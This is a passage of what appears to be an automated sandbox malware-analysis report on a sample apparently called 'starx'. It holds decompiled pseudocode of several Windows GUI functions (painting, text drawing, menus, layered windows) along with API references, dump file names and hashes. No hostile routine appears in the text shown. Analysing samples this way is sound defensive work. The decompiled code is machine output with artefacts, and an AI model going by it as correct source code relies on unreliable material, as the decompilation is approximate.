				_push( *[fs:edx]);
				 *[fs:edx] = _t102;
				if( *((intOrPtr*)(_v8 + 0x198)) != 0) {
					_v20 = SaveDC(_t75);
					_v16 = 2;
					_t95 =  *((intOrPtr*)( *((intOrPtr*)(_v8 + 0x198)) + 8)) - 1;
					if(_t95 >= 0) {
						_t96 = _t95 + 1;
						_t98 = 0;
						do {
							_t64 = E00413C44( *((intOrPtr*)(_v8 + 0x198)), _t98);
							if( *((char*)(_t64 + 0x57)) != 0 || ( *(_t64 + 0x1c) & 0x00000010) != 0 && ( *(_t64 + 0x51) & 0x00000004) == 0) {
								if(( *(_t64 + 0x50) & 0x00000040) == 0) {
									goto L11;
								} else {
									_v16 = ExcludeClipRect(_t75,  *(_t64 + 0x40),  *(_t64 + 0x44),  *(_t64 + 0x40) +  *((intOrPtr*)(_t64 + 0x48)),  *(_t64 + 0x44) +  *((intOrPtr*)(_t64 + 0x4c)));
									if(_v16 != 1) {
										goto L11;
									}
								}
							} else {
								goto L11;
							}
							goto L12;
							L11:
							_t98 = _t98 + 1;
							_t96 = _t96 - 1;
						} while (_t96 != 0);
					}
					L12:
					if(_v16 != 1) {
						 *((intOrPtr*)( *_v8 + 0xb8))();
					}
					RestoreDC(_t75, _v20);
				} else {
					 *((intOrPtr*)( *_v8 + 0xb8))();
				}
				E004410B0(_v8, 0, _t75);
				_pop(_t84);
				 *[fs:eax] = _t84;
				_push(0x44107f);
				_t55 = _v12;
				if( *((intOrPtr*)(_t55 + 4)) == 0) {
					return EndPaint(E004432A4(_v8),  &_v84);
				}
				return _t55;
			}

0x00440f59
0x00440f5b
0x00440f61
0x00440f64
0x00440f6a
0x00440f6f
0x00440f83
0x00440f83
0x00440f87
0x00440f88
0x00440f8d
0x00440f90
0x00440f9d
0x00440fb7
0x00440fba
0x00440fcd
0x00440fd0
0x00440fd2
0x00440fd3
0x00440fd5
0x00440fe0
0x00440fe9
0x00440ffb
0x00000000
0x00440ffd
0x00441019
0x00441020
0x00000000
0x00000000
0x00441020
0x00000000
0x00000000
0x00000000
0x00000000
0x00441022
0x00441022
0x00441023
0x00441023
0x00440fd5
0x00441026
0x0044102a
0x00441033
0x00441033
0x0044103e
0x00440f9f
0x00440fa6
0x00440fa6
0x0044104a
0x00441051
0x00441054
0x00441057
0x0044105c
0x00441063
0x00000000
0x00441072
0x00441077

APIs

BeginPaint.USER32(00000000,?,?,?,?), ref: 00440F7E
SaveDC.GDI32(?), ref: 00440FB2
ExcludeClipRect.GDI32(?,?,?,?,?,00000000,00441078,?,?,?,?), ref: 00441014
RestoreDC.GDI32(?,?), ref: 0044103E
EndPaint.USER32(00000000,?,0044107F,?,?,?), ref: 00441072

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: Paint$BeginClipExcludeRectRestoreSave
String ID:
API String ID: 3808407030-0
Opcode ID: fe5e5cc292057530eac94c798a124591fcd57bcc82932974b16233407578b25e
Instruction ID: c199f1461ea0a7580bca7e1284380eab15c9522d6c5adf1af22b64543ebf03e9
Opcode Fuzzy Hash: fe5e5cc292057530eac94c798a124591fcd57bcc82932974b16233407578b25e
Instruction Fuzzy Hash: 32418070A00244AFDB14DF99C885FAEB7F9BF48304F1580AAE50497762D7799E85CB14

Uniqueness

Uniqueness Score: -1.00%

Function 0042C528, Relevance: 7.6, APIs: 5, Instructions: 86
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E0042C528(void* __ecx, void* __edx, void* __eflags, signed int _a4, char _a8, void* _a12) {
				struct tagRECT _v20;
				void* __edi;
				void* __ebp;
				int _t17;
				CHAR* _t19;
				int _t31;
				CHAR* _t33;
				int _t43;
				CHAR* _t45;
				void* _t49;
				signed int _t56;
				int _t57;
				void* _t61;

				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_t60 = __ecx;
				_t49 = __edx;
				_t56 = _a4;
				E0041D374( *((intOrPtr*)(__edx + 0x14)), __ecx, 1, _t56, _t61, __eflags);
				if(_a8 != 1) {
					_t57 = _t56 | 0x00000005;
					__eflags = _t57;
					_t17 = E00404280(__ecx);
					_t19 = E00404480(__ecx);
					return DrawTextA(E0041DA58(_t49), _t19, _t17,  &_v20, _t57);
				}
				OffsetRect( &_v20, 1, 1);
				E0041CA8C( *((intOrPtr*)(_t49 + 0xc)), 0xff000014);
				_t31 = E00404280(_t60);
				_t33 = E00404480(_t60);
				DrawTextA(E0041DA58(_t49), _t33, _t31,  &_v20, _t56 | 0x00000005);
				OffsetRect( &_v20, 0xffffffff, 0xffffffff);
				E0041CA8C( *((intOrPtr*)(_t49 + 0xc)), 0xff000010);
				_t43 = E00404280(_t60);
				_t45 = E00404480(_t60);
				return DrawTextA(E0041DA58(_t49), _t45, _t43,  &_v20, _t56 | 0x00000005);
			}

0x0042c537
0x0042c538
0x0042c539
0x0042c53a
0x0042c53b
0x0042c53d
0x0042c53f
0x0042c547
0x0042c550
0x0042c5d8
0x0042c5d8
0x0042c5e2
0x0042c5ea
0x00000000
0x0042c5f8
0x0042c55e
0x0042c56b
0x0042c57c
0x0042c584
0x0042c592
0x0042c59f
0x0042c5ac
0x0042c5bb
0x0042c5c3
0x00000000

APIs

OffsetRect.USER32(?,00000001,00000001), ref: 0042C55E
DrawTextA.USER32(00000000,00000000,00000000,?,?), ref: 0042C592
OffsetRect.USER32(?,000000FF,000000FF), ref: 0042C59F
DrawTextA.USER32(00000000,00000000,00000000,?,?), ref: 0042C5D1
DrawTextA.USER32(00000000,00000000,00000000,?,?), ref: 0042C5F8

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: DrawText$OffsetRect
String ID:
API String ID: 1886049697-0
Opcode ID: 29db88e97d391ed02414c12be9e488aedf472dae18a0bde02d5892a862136a8e
Instruction ID: da5bb2347c2afd9416889d5ddac4221abea241fd9c7848cabc5f41f2bb5eb54e
Opcode Fuzzy Hash: 29db88e97d391ed02414c12be9e488aedf472dae18a0bde02d5892a862136a8e
Instruction Fuzzy Hash: C221A1B1B4012827CB01FA6A9C81A9F739C5F44328B01062FF918F7286DA7DE94543AC

Uniqueness

Uniqueness Score: -1.00%

Function 0044CF40, Relevance: 7.6, APIs: 5, Instructions: 77
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0044CF40(int __eax, void* __edx) {
				signed int _t39;
				signed int _t40;
				intOrPtr _t44;
				int _t46;
				int _t47;
				intOrPtr* _t48;

				_t18 = __eax;
				_t48 = __eax;
				if(( *(__eax + 0x1c) & 0x00000008) == 0) {
					if(( *(__eax + 0x1c) & 0x00000002) != 0) {
						 *((char*)(__eax + 0x74)) = 1;
						return __eax;
					}
					_t19 =  *((intOrPtr*)(__eax + 0x6c));
					if( *((intOrPtr*)(__eax + 0x6c)) != 0) {
						return E0044CF40(_t19, __edx);
					}
					_t18 = GetMenuItemCount(E0044D070(__eax));
					_t47 = _t18;
					_t40 = _t39 & 0xffffff00 | _t47 == 0x00000000;
					while(_t47 > 0) {
						_t46 = _t47 - 1;
						_t18 = GetMenuState(E0044D070(_t48), _t46, 0x400);
						if((_t18 & 0x00000004) == 0) {
							_t18 = RemoveMenu(E0044D070(_t48), _t46, 0x400);
							_t40 = 1;
						}
						_t47 = _t47 - 1;
					}
					if(_t40 != 0) {
						if( *((intOrPtr*)(_t48 + 0x64)) != 0) {
							L14:
							E0044CE00(_t48);
							L15:
							return  *((intOrPtr*)( *_t48 + 0x3c))();
						}
						_t44 =  *0x44ba54; // 0x44baa0
						if(E004033FC( *((intOrPtr*)(_t48 + 0x70)), _t44) == 0 || GetMenuItemCount(E0044D070(_t48)) != 0) {
							goto L14;
						} else {
							DestroyMenu( *(_t48 + 0x34));
							 *(_t48 + 0x34) = 0;
							goto L15;
						}
					}
				}
				return _t18;
			}

0x0044cf40
0x0044cf44
0x0044cf4a
0x0044cf54
0x0044cf56
0x00000000
0x0044cf56
0x0044cf5f
0x0044cf64
0x00000000
0x0044cf66
0x0044cf78
0x0044cf7d
0x0044cf81
0x0044cf86
0x0044cf8f
0x0044cf99
0x0044cfa0
0x0044cfb0
0x0044cfb5
0x0044cfb5
0x0044cfb7
0x0044cfb8
0x0044cfbe
0x0044cfc4
0x0044cff9
0x0044cffb
0x0044d000
0x00000000
0x0044d006
0x0044cfc9
0x0044cfd6
0x00000000
0x0044cfe9
0x0044cfed
0x0044cff4
0x00000000
0x0044cff4
0x0044cfd6
0x0044cfbe
0x0044d00d

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2e5fe686189eab32516ba2ebe5f84ed22e091a3741e1b7e7d201ea8c0b9ec7f
Instruction ID: 2149ba8e717df3ea2771931e9e11f5e62da7bf47f6bbd253b6d898b387ecfb08
Opcode Fuzzy Hash: e2e5fe686189eab32516ba2ebe5f84ed22e091a3741e1b7e7d201ea8c0b9ec7f
Instruction Fuzzy Hash: A211B771B4234856FB60AB7B984575B27999F4174CF08042FBD01AB383DA3DDC0A425C

Uniqueness

Uniqueness Score: -1.00%

Function 0045C4EC, Relevance: 7.6, APIs: 5, Instructions: 73
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0045C4EC(void* __eax, void* __ecx, struct HWND__** __edx) {
				intOrPtr _t11;
				intOrPtr _t20;
				void* _t30;
				void* _t31;
				void* _t33;
				struct HWND__** _t34;
				struct HWND__* _t35;
				struct HWND__* _t36;

				_t31 = __ecx;
				_t34 = __edx;
				_t33 = __eax;
				_t30 = 0;
				_t11 =  *((intOrPtr*)(__edx + 4));
				if(_t11 < 0x100 || _t11 > 0x108) {
					L16:
					return _t30;
				} else {
					_t35 = GetCapture();
					if(_t35 != 0) {
						if(GetWindowLongA(_t35, 0xfffffffa) ==  *0x47f664 && SendMessageA(_t35, _t34[1] + 0xbc00, _t34[2], _t34[3]) != 0) {
							_t30 = 1;
						}
						goto L16;
					}
					_t36 =  *_t34;
					_t2 = _t33 + 0x44; // 0x0
					_t20 =  *_t2;
					if(_t20 == 0 || _t36 !=  *((intOrPtr*)(_t20 + 0x254))) {
						L7:
						if(E00439948(_t36, _t31) == 0 && _t36 != 0) {
							_t36 = GetParent(_t36);
							goto L7;
						}
						if(_t36 == 0) {
							_t36 =  *_t34;
						}
						goto L11;
					} else {
						_t36 = E004432A4(_t20);
						L11:
						if(SendMessageA(_t36, _t34[1] + 0xbc00, _t34[2], _t34[3]) != 0) {
							_t30 = 1;
						}
						goto L16;
					}
				}
			}

0x0045c4ec
0x0045c4f0
0x0045c4f2
0x0045c4f4
0x0045c4f6
0x0045c4fe
0x0045c59d
0x0045c5a3
0x0045c50f
0x0045c514
0x0045c518
0x0045c57e
0x0045c59b
0x0045c59b
0x00000000
0x0045c57e
0x0045c51a
0x0045c51c
0x0045c51c
0x0045c521
0x0045c53c
0x0045c545
0x0045c53a
0x00000000
0x0045c53a
0x0045c54d
0x0045c54f
0x0045c54f
0x00000000
0x0045c52b
0x0045c530
0x0045c551
0x0045c56a
0x0045c56c
0x0045c56c
0x00000000
0x0045c56a
0x0045c521

APIs

GetCapture.USER32 ref: 0045C50F
SendMessageA.USER32 ref: 0045C563
GetWindowLongA.USER32 ref: 0045C573
SendMessageA.USER32 ref: 0045C592

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: MessageSend$CaptureLongWindow
String ID:
API String ID: 1158686931-0
Opcode ID: c822b1105b63fa56e829d01713437e4086fd5b5a8a0080b6b04868d090ac61d6
Instruction ID: 4f5807f0c51f8e107687537e4e0e7a7da538f2b709e7884319dc2c51d494783b
Opcode Fuzzy Hash: c822b1105b63fa56e829d01713437e4086fd5b5a8a0080b6b04868d090ac61d6
Instruction Fuzzy Hash: 33115EB120471D6FDA20FA9989C0F2773DC9B18316B11447AED6AC3343FA6DFC448668

Uniqueness

Uniqueness Score: -1.00%

Function 00444C0C, Relevance: 7.6, APIs: 5, Instructions: 73
COMMON

Download Yara Rule

C-Code - Quality: 22%

			E00444C0C(void* __eax) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v16;
				intOrPtr* _t14;
				intOrPtr* _t17;
				intOrPtr _t19;
				intOrPtr* _t21;
				intOrPtr* _t26;
				intOrPtr _t37;
				void* _t39;
				intOrPtr _t47;
				void* _t49;
				void* _t51;
				intOrPtr _t52;

				_t49 = _t51;
				_t52 = _t51 + 0xfffffff4;
				_t39 = __eax;
				if( *((short*)(__eax + 0x68)) == 0xffff) {
					return __eax;
				} else {
					_t14 =  *0x47e598; // 0x47f900
					_t17 =  *0x47e598; // 0x47f900
					_t19 =  *((intOrPtr*)( *_t17))(0xd,  *((intOrPtr*)( *_t14))(0xe, 1, 1, 1));
					_push(_t19);
					L00424614();
					_v8 = _t19;
					_push(_t49);
					_push(0x444ccc);
					_push( *[fs:eax]);
					 *[fs:eax] = _t52;
					_t21 =  *0x47e904; // 0x47fbbc
					E0042464C(_v8, E0045A8D8( *_t21,  *((short*)(__eax + 0x68))));
					_t26 =  *0x47e904; // 0x47fbbc
					E0042464C(_v8, E0045A8D8( *_t26,  *((short*)(_t39 + 0x68))));
					_push(0);
					_push(0);
					_push(0);
					_push(_v8);
					L004246A0();
					_push( &_v16);
					_push(0);
					L004246B0();
					_push(_v12);
					_push(_v16);
					_push(1);
					_push(_v8);
					L004246A0();
					_pop(_t47);
					 *[fs:eax] = _t47;
					_push(0x444cd3);
					_t37 = _v8;
					_push(_t37);
					L0042461C();
					return _t37;
				}
			}

0x00444c0d
0x00444c0f
0x00444c13
0x00444c1a
0x00444cd7
0x00444c20
0x00444c28
0x00444c34
0x00444c3b
0x00444c3d
0x00444c3e
0x00444c43
0x00444c48
0x00444c49
0x00444c4e
0x00444c51
0x00444c58
0x00444c69
0x00444c72
0x00444c83
0x00444c88
0x00444c8a
0x00444c8c
0x00444c91
0x00444c92
0x00444c9a
0x00444c9b
0x00444c9d
0x00444ca5
0x00444ca9
0x00444caa
0x00444caf
0x00444cb0
0x00444cb7
0x00444cba
0x00444cbd
0x00444cc2
0x00444cc5
0x00444cc6
0x00444ccb
0x00444ccb

APIs

73FC1AB0.COMCTL32(00000000), ref: 00444C3E

Part of subcall function 0042464C: 73FC2140.COMCTL32(0043AB56,000000FF,00000000,00444C6E,00000000,00444CCC,?,00000000), ref: 00424650

73FC1680.COMCTL32(0043AB56,00000000,00000000,00000000,00000000,00444CCC,?,00000000), ref: 00444C92
73FC1710.COMCTL32(00000000,?,0043AB56,00000000,00000000,00000000,00000000,00444CCC,?,00000000), ref: 00444C9D
73FC1680.COMCTL32(0043AB56,00000001,?,00444D35,00000000,?,0043AB56,00000000,00000000,00000000,00000000,00444CCC,?,00000000), ref: 00444CB0
73FC1F60.COMCTL32(0043AB56,00444CD3,00444D35,00000000,?,0043AB56,00000000,00000000,00000000,00000000,00444CCC,?,00000000), ref: 00444CC6

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: C1680$C1710C2140
String ID:
API String ID: 2262388007-0
Opcode ID: bc77e8c5304de055df771b22eb4d18803a4fa66c4e0ad21f03618259baf9b210
Instruction ID: 45bbaf86a517e5ea3cb9e51b91bdaf9c626b18a9b6312b321c85f06a6cfc3e0d
Opcode Fuzzy Hash: bc77e8c5304de055df771b22eb4d18803a4fa66c4e0ad21f03618259baf9b210
Instruction Fuzzy Hash: 9E218474700204BFEB10EFA9DC82F6A73E8EB89704F500095B904DB391DA79AD40D754

Uniqueness

Uniqueness Score: -1.00%

Function 00422460, Relevance: 7.6, APIs: 5, Instructions: 66
windowCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E00422460(struct HPALETTE__* __eax) {
				struct HPALETTE__* _t21;
				char _t28;
				signed int _t30;
				struct HPALETTE__* _t36;
				struct HPALETTE__* _t37;
				struct HDC__* _t38;
				intOrPtr _t39;

				_t21 = __eax;
				_t36 = __eax;
				_t39 =  *((intOrPtr*)(__eax + 0x28));
				if( *((char*)(__eax + 0x30)) == 0 &&  *(_t39 + 0x10) == 0 &&  *((intOrPtr*)(_t39 + 0x14)) != 0) {
					_t22 =  *((intOrPtr*)(_t39 + 0x14));
					if( *((intOrPtr*)(_t39 + 0x14)) ==  *((intOrPtr*)(_t39 + 8))) {
						E00420EC0(_t22);
					}
					_t21 = E0041E540( *((intOrPtr*)(_t39 + 0x14)), 1 <<  *(_t39 + 0x3e));
					_t37 = _t21;
					 *(_t39 + 0x10) = _t37;
					if(_t37 == 0) {
						_push(0);
						L004065DC();
						_t21 = E0041DE50(_t21);
						_t38 = _t21;
						if( *((char*)(_t39 + 0x71)) != 0) {
							L9:
							_t28 = 1;
						} else {
							_push(0xc);
							_push(_t38);
							L00406314();
							_push(0xe);
							_push(_t38);
							L00406314();
							_t30 = _t21 * _t21;
							_t21 = ( *(_t39 + 0x2a) & 0x0000ffff) * ( *(_t39 + 0x28) & 0x0000ffff);
							if(_t30 < _t21) {
								goto L9;
							} else {
								_t28 = 0;
							}
						}
						 *((char*)(_t39 + 0x71)) = _t28;
						if(_t28 != 0) {
							_t21 = CreateHalftonePalette(_t38);
							 *(_t39 + 0x10) = _t21;
						}
						_push(_t38);
						_push(0);
						L0040681C();
						if( *(_t39 + 0x10) == 0) {
							 *((char*)(_t36 + 0x30)) = 1;
							return _t21;
						}
					}
				}
				return _t21;
			}

0x00422460
0x00422464
0x00422466
0x0042246d
0x00422487
0x0042248d
0x0042248f
0x0042248f
0x004224a6
0x004224ab
0x004224ad
0x004224b2
0x004224b4
0x004224b6
0x004224bb
0x004224c0
0x004224c6
0x004224ef
0x004224ef
0x004224c8
0x004224c8
0x004224ca
0x004224cb
0x004224d2
0x004224d4
0x004224d5
0x004224da
0x004224e5
0x004224e9
0x00000000
0x004224eb
0x004224eb
0x004224eb
0x004224e9
0x004224f1
0x004224f6
0x004224f9
0x004224fe
0x004224fe
0x00422501
0x00422502
0x00422504
0x0042250d
0x0042250f
0x00000000
0x0042250f
0x0042250d
0x004224b2
0x00422517

APIs

739EAC50.USER32(00000000,?,?,?,?,00421097,00000000,00421123), ref: 004224B6
739EAD70.GDI32(00000000,0000000C,00000000,?,?,?,?,00421097,00000000,00421123), ref: 004224CB
739EAD70.GDI32(00000000,0000000E,00000000,0000000C,00000000,?,?,?,?,00421097,00000000,00421123), ref: 004224D5
CreateHalftonePalette.GDI32(00000000,00000000,?,?,?,?,00421097,00000000,00421123), ref: 004224F9
739EB380.USER32(00000000,00000000,00000000,?,?,?,?,00421097,00000000,00421123), ref: 00422504

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: B380CreateHalftonePalette
String ID:
API String ID: 178651289-0
Opcode ID: df9e8e5ee05a96566f477691bf782d697aef910f0d6ec482755e210e92a8cd69
Instruction ID: 20698a7fca98ce0d5988b8f2bd9e58a319534f831862036f1949289f7dcef9f2
Opcode Fuzzy Hash: df9e8e5ee05a96566f477691bf782d697aef910f0d6ec482755e210e92a8cd69
Instruction Fuzzy Hash: 7211B4217012757ADF30EF25E9517EF3681AF40359F454126FC006B2C1D7F88990C7A9

Uniqueness

Uniqueness Score: -1.00%

Function 00459B74, Relevance: 7.6, APIs: 5, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 62%

			E00459B74(void* __eax) {
				void* _t16;
				void* _t37;
				void* _t38;
				signed int _t41;

				_t16 = __eax;
				_t38 = __eax;
				if(( *(__eax + 0x1c) & 0x00000010) == 0 &&  *0x467d8c != 0) {
					_t16 = E004435A8(__eax);
					if(_t16 != 0) {
						_t41 = GetWindowLongA(E004432A4(_t38), 0xffffffec);
						if( *((char*)(_t38 + 0x2e0)) != 0 ||  *((char*)(_t38 + 0x2e8)) != 0) {
							if((_t41 & 0x00080000) == 0) {
								SetWindowLongA(E004432A4(_t38), 0xffffffec, _t41 | 0x00080000);
							}
							return  *0x467d8c(E004432A4(_t38),  *((intOrPtr*)(_t38 + 0x2ec)),  *((intOrPtr*)(_t38 + 0x2e1)),  *0x00467E10 |  *0x00467E18);
						} else {
							SetWindowLongA(E004432A4(_t38), 0xffffffec, _t41 & 0xfff7ffff);
							_push(0x485);
							_push(0);
							_push(0);
							_t37 = E004432A4(_t38);
							_push(_t37);
							L004067F4();
							return _t37;
						}
					}
				}
				return _t16;
			}

0x00459b74
0x00459b76
0x00459b7c
0x00459b91
0x00459b98
0x00459bad
0x00459bb6
0x00459bc7
0x00459bda
0x00459bda
0x00000000
0x00459c1c
0x00459c2d
0x00459c32
0x00459c37
0x00459c39
0x00459c3d
0x00459c42
0x00459c43
0x00000000
0x00459c43
0x00459bb6
0x00459b98
0x00459c4a

APIs

GetWindowLongA.USER32 ref: 00459BA8
SetWindowLongA.USER32 ref: 00459BDA
SetLayeredWindowAttributes.USER32(00000000,?,?,00000000,00000000,000000EC,?,?,00457768), ref: 00459C14
SetWindowLongA.USER32 ref: 00459C2D
739EB330.USER32(00000000,00000000,00000000,00000485,00000000,000000EC,00000000,00000000,000000EC,?,?,00457768), ref: 00459C43

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: Window$Long$AttributesB330Layered
String ID:
API String ID: 1770052509-0
Opcode ID: 7d5fa10d67ec90e751f9a504790db6c5dfe03793fcd9cae1d89a4ca5c84ee869
Instruction ID: f0142534ea880cb8fee87450c24206db4672397aa0fb4df49ead38452d345ab2
Opcode Fuzzy Hash: 7d5fa10d67ec90e751f9a504790db6c5dfe03793fcd9cae1d89a4ca5c84ee869
Instruction Fuzzy Hash: 6811AB516046806ADB51BF798C8AB9A26881F0531EF1409BABC49EB3C7C6BCCC58C75C

Uniqueness

Uniqueness Score: -1.00%

Function 0041E4A8, Relevance: 7.6, APIs: 5, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 40%

			E0041E4A8(intOrPtr __eax) {
				char _v5;
				intOrPtr _v12;
				intOrPtr _t14;
				intOrPtr _t16;
				intOrPtr _t18;
				intOrPtr _t21;
				intOrPtr _t30;
				void* _t32;
				void* _t34;
				intOrPtr _t35;

				_t32 = _t34;
				_t35 = _t34 + 0xfffffff8;
				_v5 = 0;
				if( *0x47f88c == 0) {
					return _v5;
				} else {
					_push(0);
					L004065DC();
					_v12 = __eax;
					_push(_t32);
					_push(0x41e52e);
					_push( *[fs:edx]);
					 *[fs:edx] = _t35;
					_push(0x68);
					_t14 = _v12;
					_push(_t14);
					L00406314();
					if(_t14 >= 0x10) {
						_push(__eax + 4);
						_push(8);
						_push(0);
						_t18 =  *0x47f88c; // 0xea080668
						_push(_t18);
						L0040633C();
						_push(__eax + ( *(__eax + 2) & 0x0000ffff) * 4 - 0x1c);
						_push(8);
						_push(8);
						_t21 =  *0x47f88c; // 0xea080668
						_push(_t21);
						L0040633C();
						_v5 = 1;
					}
					_pop(_t30);
					 *[fs:eax] = _t30;
					_push(0x41e535);
					_t16 = _v12;
					_push(_t16);
					_push(0);
					L0040681C();
					return _t16;
				}
			}

0x0041e4a9
0x0041e4ab
0x0041e4b1
0x0041e4bc
0x0041e53c
0x0041e4be
0x0041e4be
0x0041e4c0
0x0041e4c5
0x0041e4ca
0x0041e4cb
0x0041e4d0
0x0041e4d3
0x0041e4d6
0x0041e4d8
0x0041e4db
0x0041e4dc
0x0041e4e4
0x0041e4e9
0x0041e4ea
0x0041e4ec
0x0041e4ee
0x0041e4f3
0x0041e4f4
0x0041e501
0x0041e502
0x0041e504
0x0041e506
0x0041e50b
0x0041e50c
0x0041e511
0x0041e511
0x0041e517
0x0041e51a
0x0041e51d
0x0041e522
0x0041e525
0x0041e526
0x0041e528
0x0041e52d
0x0041e52d

APIs

739EAC50.USER32(00000000), ref: 0041E4C0
739EAD70.GDI32(?,00000068,00000000,0041E52E,?,00000000), ref: 0041E4DC
739EAEA0.GDI32(EA080668,00000000,00000008,?,?,00000068,00000000,0041E52E,?,00000000), ref: 0041E4F4
739EAEA0.GDI32(EA080668,00000008,00000008,?,EA080668,00000000,00000008,?,?,00000068,00000000,0041E52E,?,00000000), ref: 0041E50C
739EB380.USER32(00000000,?,0041E535,0041E52E,?,00000000), ref: 0041E528

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: B380
String ID:
API String ID: 120756276-0
Opcode ID: 525e4a685f8327979ea98e7d2704362646d9611c8a4f669531ab11f17b277f0f
Instruction ID: 37292b94baad8cea62fb49146e52119156fc8021b6102adcc09de1dc6d4713df
Opcode Fuzzy Hash: 525e4a685f8327979ea98e7d2704362646d9611c8a4f669531ab11f17b277f0f
Instruction Fuzzy Hash: 05110835548304BEEB00DFE5DC42FAD77E8E749708F8180A6F904EA1C1DA7A94548729

Uniqueness

Uniqueness Score: -1.00%

Function 0040B0A4, Relevance: 7.6, APIs: 5, Instructions: 50
threadCOMMON

Download Yara Rule

C-Code - Quality: 64%

